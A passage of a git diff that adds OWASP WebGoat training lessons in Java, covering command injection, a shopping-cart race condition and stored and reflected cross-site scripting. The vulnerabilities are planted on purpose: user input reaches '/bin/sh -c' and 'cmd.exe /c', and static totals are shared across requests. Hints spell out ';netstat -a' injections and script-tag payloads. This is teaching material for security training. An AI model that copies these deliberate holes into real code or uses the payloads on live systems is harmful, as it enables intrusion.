AccessControlScreen object + * + * @return The title value + */ + public String getTitle() { + return "Insecure Client Storage"; + } + + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CommandInjection.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CommandInjection.java new file mode 100644 index 000000000..0fd458fd7 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CommandInjection.java @@ -0,0 +1,353 @@ +package org.owasp.webgoat.lessons; + +import java.io.File; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.StringTokenizer; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.StringElement; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.P; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.Exec; +import org.owasp.webgoat.util.ExecResults; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Bruce Mayhew WebGoat + * @created October 28, 2003 + */ +public class CommandInjection extends LessonAdapter +{ + private final static String HELP_FILE = "HelpFile"; + + private String osName = System.getProperty("os.name"); + + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + protected Element createContent(WebSession s) + { + ElementContainer ec = new ElementContainer(); + boolean illegalCommand = getWebgoatContext().isDefuseOSCommands(); + try + { + String helpFile = s.getParser().getRawParameter(HELP_FILE, + "BasicAuthentication.help"); + if (getWebgoatContext().isDefuseOSCommands() + && (helpFile.indexOf('&') != -1 || helpFile.indexOf(';') != -1)) + { + int index = helpFile.indexOf('&'); + if (index == -1) + { + index = helpFile.indexOf(';'); + } + index = index + 1; + int helpFileLen = helpFile.length() - 1; // subtract 1 for the closing quote + System.out.println("Command = [" + + helpFile.substring(index, helpFileLen).trim() + .toLowerCase() + "]"); + if ((osName.indexOf("Windows") != -1 && (helpFile.substring( + index, helpFileLen).trim().toLowerCase().equals( + "netstat -a") + || helpFile.substring(index, helpFileLen).trim() + .toLowerCase().equals("dir") + || helpFile.substring(index, helpFileLen).trim() + .toLowerCase().equals("ls") + || helpFile.substring(index, helpFileLen).trim() + .toLowerCase().equals("ifconfig") || helpFile + .substring(index, helpFileLen).trim().toLowerCase() + .equals("ipconfig"))) + || (helpFile.substring(index, helpFileLen).trim() + .toLowerCase().equals("netstat -a #") + || helpFile.substring(index, helpFileLen) + .trim().toLowerCase().equals("dir #") + || helpFile.substring(index, helpFileLen) + .trim().toLowerCase().equals("ls #") + || helpFile.substring(index, helpFileLen) + .trim().toLowerCase().equals("ls -l #") + || helpFile.substring(index, helpFileLen) + .trim().toLowerCase().equals( + "ifconfig #") || helpFile + .substring(index, helpFileLen).trim() + .toLowerCase().equals("ipconfig #"))) + { + illegalCommand = false; + } + else + { + s + .setMessage("It appears that you are on the right track. " + + "Commands that may compromise the operating system have been disabled. " + + "The following commands are allowed: netstat -a, dir, ls, ifconfig, and ipconfig"); + } + } + + if (getWebgoatContext().isDefuseOSCommands() && helpFile.indexOf('&') == -1 + && helpFile.indexOf(';') == -1) + { + if (helpFile.length() > 0) + { + if (upDirCount(helpFile) <= 3) + { + // FIXME: This value isn't used. What is the goal here? + s.getContext().getRealPath("/"); + illegalCommand = false; + } + else + { + s + .setMessage("It appears that you are on the right track. " + + "Commands that may compromise the operating system have been disabled. " + + "This lesson is a command injection lesson, not access control."); + } + } + else + { + // No Command entered. + illegalCommand = false; + } + } + File safeDir = new File(s.getContext().getRealPath("/lesson_plans")); + + ec + .addElement(new StringElement( + "You are currently viewing: " + + (helpFile.toString().length() == 0 ? "<select file from list below>" + : helpFile.toString()) + "")); + + if (!illegalCommand) + { + String results; + String fileData = null; + helpFile = helpFile.replaceAll("\\.help", "\\.html"); + + if (osName.indexOf("Windows") != -1) + { + // Add quotes around the filename to avoid having special characters in DOS filenames + results = exec(s, "cmd.exe /c dir /b \"" + + safeDir.getPath() + "\""); + fileData = exec(s, "cmd.exe /c type \"" + + new File(safeDir, helpFile).getPath() + "\""); + + } + else + { + String[] cmd1 = { "/bin/sh", "-c", + "ls \"" + safeDir.getPath() + "\"" }; + results = exec(s, cmd1); + String[] cmd2 = { + "/bin/sh", + "-c", + "cat \"" + new File(safeDir, helpFile).getPath() + + "\"" }; + fileData = exec(s, cmd2); + } + + ec.addElement(new P() + .addElement("Select the lesson plan to view: ")); + ec.addElement(ECSFactory.makePulldown(HELP_FILE, + parseResults(results.replaceAll("(?s)\\.html", + "\\.help")))); + //ec.addElement( results ); + Element b = ECSFactory.makeButton("View"); + ec.addElement(b); + // Strip out some of the extra html from the "help" file + ec.addElement(new BR()); + ec.addElement(new BR()); + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new StringElement(fileData.replaceAll( + System.getProperty("line.separator"), "
") + .replaceAll("(?s)", "").replaceAll( + "

", "
").replaceAll("
\\s
", + "
"))); + + } + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + + private String parseResults(String results) + { + results.replaceAll("(?s).*Output...\\s", "").replaceAll("(?s)Returncode.*", ""); + StringTokenizer st = new StringTokenizer(results, "\n"); + StringBuffer modified = new StringBuffer(); + + while(st.hasMoreTokens()) + { + String s = (String)st.nextToken().trim(); + + if(s.length() > 0 && s.endsWith(".help")) + { + modified.append(s + "\n"); + } + } + + return modified.toString(); + } + + + public static int upDirCount(String fileName) + { + int count = 0; + // check for "." = %2d + // we wouldn't want anyone bypassing the check by useing encoding :) + // FIXME: I don't think hex endoing will work here. + fileName = fileName.replaceAll("%2d", "."); + int startIndex = fileName.indexOf(".."); + while (startIndex != -1) + { + count++; + startIndex = fileName.indexOf("..", startIndex + 1); + } + return count; + } + + + /** + * Description of the Method + * + * @param command Description of the Parameter + * @param s Description of the Parameter + * @return Description of the Return Value + */ + private String exec(WebSession s, String command) + { + System.out.println("Executing OS command: " + command); + ExecResults er = Exec.execSimple(command); + if ((command.indexOf("&") != -1 || command.indexOf(";") != -1) + && !er.getError()) + { + makeSuccess(s); + } + + return (er.toString()); + } + + + /** + * Description of the Method + * + * @param command Description of the Parameter + * @param s Description of the Parameter + * @return Description of the Return Value + */ + private String exec(WebSession s, String[] command) + { + System.out.println("Executing OS command: " + Arrays.asList(command)); + ExecResults er = Exec.execSimple(command); + if (!er.getError()) + { + makeSuccess(s); + } + + return (er.toString()); + } + + /** + * Gets the category attribute of the CommandInjection object + * + * @return The category value + */ + protected Category getDefaultCategory() + { + return Category.INJECTION; + } + + + /** + * Gets the hints attribute of the DirectoryScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints + .add("The application is using a system command to return the contents of a file."); + hints + .add("The ampersand(&) separates commands in the Windows 2000 command shell. In Unix the separator is typically a semi-colon(;)"); + hints + .add("Use a proxy to insert & netstat -a on Windows or ;netstat -a on Unix."); + hints + .add("Note that the server may enclose the submitted file name within quotes"); + + return hints; + } + + + /** + * Gets the instructions attribute of the ParameterInjection object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "Choose the lesson plan you would like to view. " + + "Try to inject a command to the operating system."; + + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(40); + + + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } + + + /** + * Gets the title attribute of the DirectoryScreen object + * + * @return The title value + */ + public String getTitle() + { + return "Command Injection"; + } +} diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java b/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java new file mode 100644 index 000000000..8184975f9 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/ConcurrencyCart.java @@ -0,0 +1,610 @@ +package org.owasp.webgoat.lessons; + +import java.text.NumberFormat; +import java.util.ArrayList; +import java.util.List; +import java.util.Locale; +import java.util.regex.Pattern; + +import org.apache.ecs.Element; +import org.apache.ecs.ElementContainer; +import org.apache.ecs.html.A; +import org.apache.ecs.html.BR; +import org.apache.ecs.html.Center; +import org.apache.ecs.html.H1; +import org.apache.ecs.html.HR; +import org.apache.ecs.html.IMG; +import org.apache.ecs.html.Input; +import org.apache.ecs.html.TD; +import org.apache.ecs.html.TH; +import org.apache.ecs.html.TR; +import org.apache.ecs.html.Table; +import org.owasp.webgoat.session.ECSFactory; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.HtmlEncoder; + +/******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + * @author Ryan Knell Aspect Security + * @created July, 23 2007 + */ + +public class ConcurrencyCart extends LessonAdapter +{ + //Shared Variables + private static int total = 0; + private static float runningTOTAL = 0; + private static int subTOTAL = 0; + private static float calcTOTAL = 0; + private static int quantity1 = 0; + private static int quantity2 = 0; + private static int quantity3 = 0; + private static int quantity4 = 0; + private float ratio = 0; + private int discount = 0; + + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); + + /** + * Description of the Method + * + * @param s Description of the Parameter + * @return Description of the Return Value + */ + + protected Element createContent(WebSession s) + { + ElementContainer ec = null; + + try + { + String submit = s.getParser().getStringParameter("SUBMIT"); + + if("Purchase".equalsIgnoreCase(submit)) + { + updateQuantity(s); + ec = createPurchaseContent(s, quantity1, quantity2, quantity3, quantity4); + } + else if ("Confirm".equalsIgnoreCase(submit)) + { + ec = confirmation(s, quantity1, quantity2, quantity3, quantity4); + + //Discount + + if (calcTOTAL == 0) // No total cost for items + { + discount = 0; // Discount meaningless + } + else // The expected case -- items cost something + { + ratio = runningTOTAL / calcTOTAL; + } + + + if (calcTOTAL > runningTOTAL) + { + //CONGRATS + discount = (int) (100 * (1 - ratio)); + s.setMessage("Thank you for shopping! You have (illegally!) received a " + discount +"% discount. Police are on the way to your IP address."); + + makeSuccess(s); + } + else if (calcTOTAL < runningTOTAL) + { + //ALMOST + discount = (int) (100 * (ratio - 1)); + s.setMessage("You are on the right track, but you actually overpaid by " + discount + "%. Try again!"); + } + } + else + { + updateQuantity(s); + ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); + } + + } + catch (ParameterNotFoundException pnfe) + { + System.out.println("[DEBUG] no action selected, defaulting to createShoppingPage"); + ec = createShoppingPage(s, quantity1, quantity2, quantity3, quantity4); + } + + return ec; + } + + //UPDATE QUANTITY VARIABLES + private void updateQuantity(WebSession s) + { + quantity1 = thinkPositive(s.getParser().getIntParameter("QTY1", 0)); + quantity2 = thinkPositive(s.getParser().getIntParameter("QTY2", 0)); + quantity3 = thinkPositive(s.getParser().getIntParameter("QTY3", 0)); + quantity4 = thinkPositive(s.getParser().getIntParameter("QTY4", 0)); + } + + /* + ********************************************************************** + ******************* PURCHASING PAGE ********************************** + ********************************************************************** + */ + + private ElementContainer createPurchaseContent(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) + { + + ElementContainer ec = new ElementContainer(); + runningTOTAL = 0; + + String regex1 = "^[0-9]{3}$";// any three digits + Pattern pattern1 = Pattern.compile(regex1); + + try + { + String param1 = s.getParser().getRawParameter("PAC", "111"); + String param2 = HtmlEncoder.encode(s.getParser().getRawParameter( + "CC", "5321 1337 8888 2007")); + + // test input field1 + if (!pattern1.matcher(param1).matches()) + { + s.setMessage("Error! You entered " + HtmlEncoder.encode(param1) + " instead of your 3 digit code. Please try again."); + } + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Place your order "))); + Table table = new Table().setCellSpacing(0).setCellPadding(2) + .setBorder(1).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { table.setBorder(1); } + + //Table Setup + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%")); + tr.addElement(new TH().addElement("Price").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity").setWidth("3%")); + tr.addElement(new TH().addElement("Subtotal").setWidth("7%")); + table.addElement(tr); + + //Item 1 + tr = new TR(); //Create a new table object + tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); + tr.addElement(new TD().addElement("$169.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center")); + + total = quantity1 * 169; + runningTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); //Adds table to the HTML + + //Item 2 + tr = new TR(); + tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); + tr.addElement(new TD().addElement("$299.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center")); + + total = quantity2 * 299; + runningTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); + + //Item 3 + tr = new TR(); + tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); + tr.addElement(new TD().addElement("$1799.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center")); + + total = quantity3 * 1799; + runningTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); + + //Item 4 + tr = new TR(); + tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); + tr.addElement(new TD().addElement("$649.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center")); + + total = quantity4 * 649; + runningTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); + + ec.addElement(table); + + table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) + .setWidth("90%").setAlign("center"); + + if (s.isColor()) { table.setBorder(1); } + + ec.addElement(new BR()); + + calcTOTAL = runningTOTAL; + + //Total Charged + tr = new TR(); + tr.addElement(new TD().addElement("Total:")); + tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right")); + table.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + table.addElement(tr); + + //Credit Card Input + tr = new TR(); + tr.addElement(new TD().addElement("Enter your credit card number:")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "CC", param2)).setAlign("right")); + table.addElement(tr); + + //PAC Input + tr = new TR(); + tr.addElement(new TD().addElement("Enter your three digit access code:")); + tr.addElement(new TD().addElement(new Input(Input.TEXT, "PAC", param1)).setAlign("right")); + table.addElement(tr); + + //Confirm Button + Element b = ECSFactory.makeButton("Confirm"); + tr = new TR(); + tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); + table.addElement(tr); + + //Cancel Button + Element c = ECSFactory.makeButton("Cancel"); + tr = new TR(); + tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right")); + table.addElement(tr); + + ec.addElement(table); + ec.addElement(new BR()); + + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + + return (ec); + } + + /* + ********************************************************************** + ******************* CONFIRMATION PAGE ******************************** + ********************************************************************** + */ + + private ElementContainer confirmation (WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) + { + ElementContainer ec = new ElementContainer(); + + final String confNumber = "CONC-88"; + calcTOTAL = 0; + try + { + //Thread.sleep(5000); + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Thank you for your purchase!"))); + ec.addElement(new Center().addElement(new H1().addElement("Confirmation number: " + confNumber))); + Table table = new Table().setCellSpacing(0).setCellPadding(2) + .setBorder(1).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { table.setBorder(1); } + + //Table Setup + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%")); + tr.addElement(new TH().addElement("Price").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity").setWidth("3%")); + tr.addElement(new TH().addElement("Subtotal").setWidth("7%")); + table.addElement(tr); + + //Item 1 + tr = new TR(); //Create a new table object + tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); + tr.addElement(new TD().addElement("$169.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity1)).setAlign("center")); + + total = quantity1 * 169; + calcTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); //Adds table to the HTML + + //Item 2 + tr = new TR(); + tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); + tr.addElement(new TD().addElement("$299.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity2)).setAlign("center")); + + total = quantity2 * 299; + calcTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); + + //Item 3 + tr = new TR(); + tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); + tr.addElement(new TD().addElement("$1799.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity3)).setAlign("center")); + + total = quantity3 * 1799; + calcTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); + + //Item 4 + tr = new TR(); + tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); + tr.addElement(new TD().addElement("$649.00").setAlign("right")); + tr.addElement(new TD().addElement(String.valueOf(quantity4)).setAlign("center")); + + total = quantity4 * 649; + calcTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); + + ec.addElement(table); + + table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) + .setWidth("90%").setAlign("center"); + + if (s.isColor()) + { table.setBorder(1); } + + ec.addElement(new BR()); + + //Total Charged + tr = new TR(); + tr.addElement(new TD().addElement("Total Amount Charged to Your Credit Card:")); + tr.addElement(new TD().addElement("$" + formatFloat(runningTOTAL)).setAlign("right")); + table.addElement(tr); + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + table.addElement(tr); + + //Return to Store Button + Element b = ECSFactory.makeButton("Return to Store"); + tr = new TR(); + tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("center")); + table.addElement(tr); + + ec.addElement(table); + ec.addElement(new BR()); + + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } + + /* + ********************************************************************** + ******************* SHOPPING PAGE ********************************** + ********************************************************************** + */ + + private ElementContainer createShoppingPage(WebSession s, int quantity1, int quantity2, int quantity3, int quantity4) + { + + ElementContainer ec = new ElementContainer(); + subTOTAL = 0; + + try + { + + ec.addElement(new HR().setWidth("90%")); + ec.addElement(new Center().addElement(new H1().addElement("Shopping Cart "))); + Table table = new Table().setCellSpacing(0).setCellPadding(2) + .setBorder(1).setWidth("90%").setAlign("center"); + + if (s.isColor()) + { table.setBorder(1); } + + //Table Setup + TR tr = new TR(); + tr.addElement(new TH().addElement("Shopping Cart Items").setWidth("80%")); + tr.addElement(new TH().addElement("Price").setWidth("10%")); + tr.addElement(new TH().addElement("Quantity").setWidth("3%")); + tr.addElement(new TH().addElement("Subtotal").setWidth("7%")); + table.addElement(tr); + + //Item 1 + tr = new TR(); //Create a new table object + tr.addElement(new TD().addElement("Hitachi - 750GB External Hard Drive")); + tr.addElement(new TD().addElement("$169.00").setAlign("right")); + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "QTY1", String.valueOf(quantity1))) + .setAlign("right")); + + total = quantity1 * 169; + subTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); //Adds table to the HTML + + //Item 2 + tr = new TR(); + tr.addElement(new TD().addElement("Hewlett-Packard - All-in-One Laser Printer")); + tr.addElement(new TD().addElement("$299.00").setAlign("right")); + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "QTY2", String.valueOf(quantity2))) + .setAlign("right")); + + total = quantity2 * 299; + subTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); + + //Item 3 + tr = new TR(); + tr.addElement(new TD().addElement("Sony - Vaio with Intel Centrino")); + tr.addElement(new TD().addElement("$1799.00").setAlign("right")); + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "QTY3", String.valueOf(quantity3))) + .setAlign("right")); + + total = quantity3 * 1799; + subTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); + + //Item 4 + tr = new TR(); + tr.addElement(new TD().addElement("Toshiba - XGA LCD Projector ")); + tr.addElement(new TD().addElement("$649.00").setAlign("right")); + tr.addElement(new TD().addElement( + new Input(Input.TEXT, "QTY4", String.valueOf(quantity4))) + .setAlign("right")); + + total = quantity4 * 649; + subTOTAL += total; + tr.addElement(new TD().addElement("$" + formatInt(total) +".00")); + table.addElement(tr); + + ec.addElement(table); + + table = new Table().setCellSpacing(0).setCellPadding(2).setBorder(0) + .setWidth("90%").setAlign("center"); + + if (s.isColor()) + { table.setBorder(1); } + + ec.addElement(new BR()); + + //Purchasing Amount + tr = new TR(); + tr.addElement(new TD().addElement("Total: " +"$" +formatInt(subTOTAL) +".00").setAlign("left")); + table.addElement(tr); + + //Update Button + Element b = ECSFactory.makeButton("Update Cart"); + tr = new TR(); + tr.addElement(new TD().addElement(b).setColSpan(2).setAlign("right")); + table.addElement(tr); + + + tr = new TR(); + tr.addElement(new TD().addElement(" ").setColSpan(2)); + table.addElement(tr); + + //Purchase Button + Element c = ECSFactory.makeButton("Purchase"); + tr = new TR(); + tr.addElement(new TD().addElement(c).setColSpan(2).setAlign("right")); + table.addElement(tr); + + ec.addElement(table); + ec.addElement(new BR()); + + } + catch (Exception e) + { + s.setMessage("Error generating " + this.getClass().getName()); + e.printStackTrace(); + } + return (ec); + } + + String formatInt (int i) + { + NumberFormat intFormat = + NumberFormat.getIntegerInstance(Locale.US); + return intFormat.format(i); + } + + String formatFloat (float f) + { + NumberFormat floatFormat = + NumberFormat.getNumberInstance(Locale.US); + floatFormat.setMinimumFractionDigits(2); + floatFormat.setMaximumFractionDigits(2); + return floatFormat.format(f); + } + + int thinkPositive(int i) + { + if (i < 0 ) + return 0 ; + else + return i ; + } + + /** + * DOCUMENT ME! + * + * @return DOCUMENT ME! + */ + protected Category getDefaultCategory() { return Category.CONCURRENCY; } + + /** + * Gets the hints attribute of the AccessControlScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + hints.add("Can you purchase the merchandise in your shopping cart for a lower price?"); + hints.add("Try using a new browser window to get a lower price."); + hints.add("In window A, purchase a low cost item, in window B a high cost item."); + hints.add("In window A, commit after updating cart in window B."); + + return hints; + } + + /** + * Gets the instructions attribute of the WeakAccessControl object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = "For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price."; + return (instructions); + } + + private final static Integer DEFAULT_RANKING = new Integer(120); + + protected Integer getDefaultRanking() { return DEFAULT_RANKING; } + + + /** + * Gets the title attribute of the AccessControlScreen object + * + * @return The title value + */ + public String getTitle() { return "Shopping Cart Concurrency Flaw"; } + + public Element getCredits() { return super.getCustomCredits("", ASPECT_LOGO); } +} \ No newline at end of file diff --git a/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java new file mode 100644 index 000000000..c848a8b91 --- /dev/null +++ b/main/project/JavaSource/org/owasp/webgoat/lessons/CrossSiteScripting/CrossSiteScripting.java @@ -0,0 +1,306 @@ +package org.owasp.webgoat.lessons.CrossSiteScripting; + +import java.util.ArrayList; +import java.util.List; + +import org.apache.ecs.ElementContainer; +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.GoatHillsFinancial.DeleteProfile; +import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; +import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; +import org.owasp.webgoat.lessons.GoatHillsFinancial.ListStaff; +import org.owasp.webgoat.lessons.GoatHillsFinancial.Login; +import org.owasp.webgoat.lessons.GoatHillsFinancial.Logout; +import org.owasp.webgoat.lessons.GoatHillsFinancial.SearchStaff; +import org.owasp.webgoat.session.ParameterNotFoundException; +import org.owasp.webgoat.session.UnauthenticatedException; +import org.owasp.webgoat.session.UnauthorizedException; +import org.owasp.webgoat.session.ValidationException; +import org.owasp.webgoat.session.WebSession; +import org.owasp.webgoat.util.HtmlEncoder; + +/** + /******************************************************************************* + * + * + * This file is part of WebGoat, an Open Web Application Security Project + * utility. For details, please see http://www.owasp.org/ + * + * Copyright (c) 2002 - 2007 Bruce Mayhew + * + * This program is free software; you can redistribute it and/or modify it under + * the terms of the GNU General Public License as published by the Free Software + * Foundation; either version 2 of the License, or (at your option) any later + * version. + * + * This program is distributed in the hope that it will be useful, but WITHOUT + * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS + * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + * details. + * + * You should have received a copy of the GNU General Public License along with + * this program; if not, write to the Free Software Foundation, Inc., 59 Temple + * Place - Suite 330, Boston, MA 02111-1307, USA. + * + * Getting Source ============== + * + * Source for this application is maintained at code.google.com, a repository + * for free software projects. + * + * For details, please see http://code.google.com/p/webgoat/ + * + */ +public class CrossSiteScripting extends GoatHillsFinancial +{ + private final static Integer DEFAULT_RANKING = new Integer(100); + + public final static String STAGE1 = "Stored XSS"; + + public final static String STAGE2 = "Block Stored XSS using Input Validation"; + + public final static String STAGE3 = "Stored XSS Revisited"; + + public final static String STAGE4 = "Block Stored XSS using Output Encoding"; + + public final static String STAGE5 = "Reflected XSS"; + + public final static String STAGE6 = "Block Reflected XSS"; + + protected void registerActions(String className) + { + registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); + registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); + registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); + registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); + + // These actions are special in that they chain to other actions. + registerAction(new Login(this, className, LOGIN_ACTION, + getAction(LISTSTAFF_ACTION))); + registerAction(new Logout(this, className, LOGOUT_ACTION, + getAction(LOGIN_ACTION))); + registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, + getAction(VIEWPROFILE_ACTION))); + registerAction(new UpdateProfile(this, className, + UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new DeleteProfile(this, className, + DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); + } + + /** + * Gets the category attribute of the CrossSiteScripting object + * + * @return The category value + */ + public Category getDefaultCategory() + { + return Category.XSS; + } + + /** + * Gets the hints attribute of the DirectoryScreen object + * + * @return The hints value + */ + protected List getHints(WebSession s) + { + List hints = new ArrayList(); + + // Stage 1 + hints.add("You can put HTML tags in form input fields."); + hints + .add("Bury a SCRIPT tag in the field to attack anyone who reads it."); + hints + .add("Enter this: <script language=\"javascript\" type=\"text/javascript\">alert(\"Ha Ha Ha\");</script> in message fields."); + hints + .add("Enter this: <script>alert(\"document.cookie\");</script> in message fields."); + + // Stage 2 + hints + .add("Many scripts rely on the use of special characters such as: <"); + hints + .add("Allowing only a certain set of characters (positive filtering) is preferred to blocking a set of characters (negative filtering)."); + hints + .add("The java.util.regex package is useful for filtering string values."); + + // Stage 3 + hints + .add("Browsers recognize and decode HTML entity encoded content after parsing and interpretting HTML tags."); + hints + .add("An HTML entity encoder is provided in the ParameterParser class."); + + // Stage 4 + hints + .add("Examine content served in response to form submissions looking for data taken from the form."); + + // Stage 5 + hints + .add("Validate early. Consider: out.println(\"Order for \" + request.getParameter(\"product\") + \" being processed...\");"); + + return hints; + } + + + /** + * Gets the instructions attribute of the ParameterInjection object + * + * @return The instructions value + */ + public String getInstructions(WebSession s) + { + String instructions = ""; + + if (!getLessonTracker(s).getCompleted()) + { + String stage = getStage(s); + if (STAGE1.equals(stage)) + { + instructions = "Stage 1: Execute a Stored Cross Site Scripting (XSS) attack.
